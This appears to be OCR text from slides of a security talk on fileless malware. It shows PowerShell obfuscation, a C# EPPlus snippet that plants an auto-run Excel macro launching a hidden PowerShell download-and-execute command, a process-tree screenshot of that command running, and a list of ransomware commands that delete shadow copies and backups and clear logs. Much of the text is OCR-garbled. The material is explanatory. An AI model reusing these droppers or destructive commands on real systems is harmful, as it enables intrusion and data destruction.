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PowerShell Code

Get-Cimlnstance -ClassName
Win32_ComputerSystem

EREN

base64 4715

Am ST

Al fwiSex: IEX

Command#RH5

TEES

Invoke-Expression

ToString

ASCII

Invoke & i
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PowerShell Obfuscated Code
-JOin
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Get-CimInstance -ClassName Win32_ComputerSystem
&("{2}{3}{0}{1}" -f'anc’,'e’,'Get-Ci’,'mInst’) -ClassName Win32_ComputerSystem

-JOin ( '26_28@22_7b_32,7dV7b{33V7d{7b_30s7d,7b}31{7dV22@20V2d@66}27,61-
6e{63V27s2c}27-65V27_2¢cs27-
47{65s74,2d,43}69@27}2c}27V6d{49V6es73,74s27,29V20@2d@43,6¢c{61-
73@73s4e,61,6ds65}20,57@69@6e{33V32_5f{43V6fs6d{70_75,74,65@72s53,79{73V74}65{6d’
-spLIT'@'-sPliT "V'-SplIT *,'-SpLIT '-" -spliT "_"-spliT 's’' -sPLIiT'{" -SPLIt '}’ |foReacH
{([converT]::ToiNt16( ([stRinG]S_) ,16 ) -as[ChaR]) } ) |.( SsHEIIID[1]+SSHeLLiD[13]+'x")

" $(SET-vArlabLE 'OFS' " ) "+[sTrinG]( '45-
74T79T1052110>32>40Z32K39K50!54K95K50f56>64!50f50Z95-
55R98H95R5150244755f100f86R55X98R123Z51>51T86R552100Z123X55K98>95H51 R48-
115X55H100!44-
55f98112551249>123K55f100!86250>50K6450!48>86!50Z100H64R54K54H125K50R55>44f5
4R49Z745!541101-123>54-51186f50f55Z115!50>99T125250X55-45f54153-86K50>55-
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Cryptominer, Attacks Skyrocket in/Q4,’
2020 1017 iy ATABRN .00/ 10 R\
Fileless malware & cryptominer attacks grew by nearly
900% & 25%, respectively; WatchGuard\Q4 2020
Internet Security:Report findsa1t ' -




EPPlusZ{EOfficeE £ (Macro)

EPPlus 27 .NET Framework 3% .NET Core 3125 Excel BYITHE

) W0 SR : /N \T s ] ) ] \ & ¥ 11 \ ar 11y 1 + ] m!!
\tingwe1.yang\Downloads\epplus\epplustest.xl

kage())
ws = excel.Workbook.Worksheets.Add("MySheet");
ws . Workbook.CreateVBAProject();

StringBuilder \ba(ode = new StringBuilder();

vbaCode .AppendLine("Private 5 b un rkbook Open()");

vbaCode . AppendLine(’ (L‘T Shell(\"powershell.exe -w hidden -nop -ep bypass -c¢ \"\"IEX (( -object net.webclient
vbaCode . AppendLine("End Sub” )

ws . Workbook.CodeModule.Code = vbaCode.ToString();
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Hacker View Tools Users Help

2 Refresh {03 Options | #8 Find handles or DLLs 4% System information | =

Processes  Services Metwork  Disk

Y=L PN

m mm o nE

Mame
[ svchost.exe
[ svchost.exe
v [#] svchost.exe

v . explorer.exe
‘% ProcessH...

[ taskhostw.e...

v 8 EXCEL.EXE
v ¥ powers...
= conh...

[ svchost.exe

[ svchost.exe

[ svchost.exe

[ svchost.exe

v [#] svchost.exe

[ sihost.exe

v [ svchost.exe
(s audiodg.exe

[ svchost.exe

[ svchost.exe

=1 1

PID
1412
1564
1584
5264
5064
3980
5608
6668
4124
1636
1648
1668
1840
1900
3904
1940
5076
1996
2004

E W B

CPU
0.02

0.02
10...
1.22
38...

ﬂ i
. y. DESI

0.17
0.01

/O to... Privat.. User
1.24 ... NTEZ
1.78 ... NT£Z
5.67.. NT£
5.61.. DESI
58.51.. 55.93.. DES}
19.02... DESI

15.04... 75.7.. DESI

3.91.. .. \N
1.64 ... NT£
1.77 .. .. \LC
3.2MB .ALC
2.62.. NTF£
6.9 MBE DESI
3.01.. .. \LG
6.11... .. \LC
277 ... .. \N
1.77 .. .. \LC

i N0 e

CPU Usage: 94 46% Physical memory: 267 GB (33.41%) Processes: 138

EN powershell exe (6560) - R

Handles GPU

Performance

Environment

General  Statistics

File
Windows PowerShell
(Verified) Microsoft Windows

Version: 10.0.19041.545

Image file name:

Disk and Metwork
Modules  Memory

— O X

Comment

| Cr\WWindows\System32\WindowsPowerShelly 1. 0\powershell. exe

B

Command line:

powershell.exe -w hidden -nop -ep bypass < "IEX ({new-obje| | |,

Current directory: | M/

|4 seconds ago (_E4F 09:14:43 2021/4/25)

| Image type: 64-bit

Started:
PEB address: | 0x917b3d6000
Parent: | EXCEL.EXE (4372)

| [

Mitigation policies: |DEP (permanent); ASLR. (high entropy); CF Guard

| | Details

Protection: Mone
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PowerShell;&’5 | vssadmin WMIC bcdedit wbadmin reg schtasks icacls attrib
cscript WScript VSSVC wbengine taskkill rundll32 mountvo csc cvtres
vbs net netl Regsvcs Regsvr32 javaw diskpart netsh cmd rd
choice bitsadmin fsutil certutil wevtutil Xcopy takeown vdsldr sC
BRUEREA
wbadmin delete catalog -quiet + wbadmin delete systemstatebackup "cmd.exe” /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
wbadmin delete catalog -quiet "sc.exe" config Dnscache start= auto
vssadmin delete shadows /all /quiet cscript.exe //nologo m.vbs
wmic shadowcopy delete fsutil dirty query C:
icacls "C:\*" /grant Everyone:F /T /C /Q certutil -decode wall.txt Payload2.jpg
takeown /f C:\Windows\System32 certutil -decode finalpayload.tmp Payload3.exe
bcdedit /set {default} recoveryenabled no wevtutil.exe cl 'Application’
WScript.exe" "C:\Users\admin\AppData\Local\Temp\very.vbs" icacls . /grant Everyone:F /T /C /Q
, oA X-FORT
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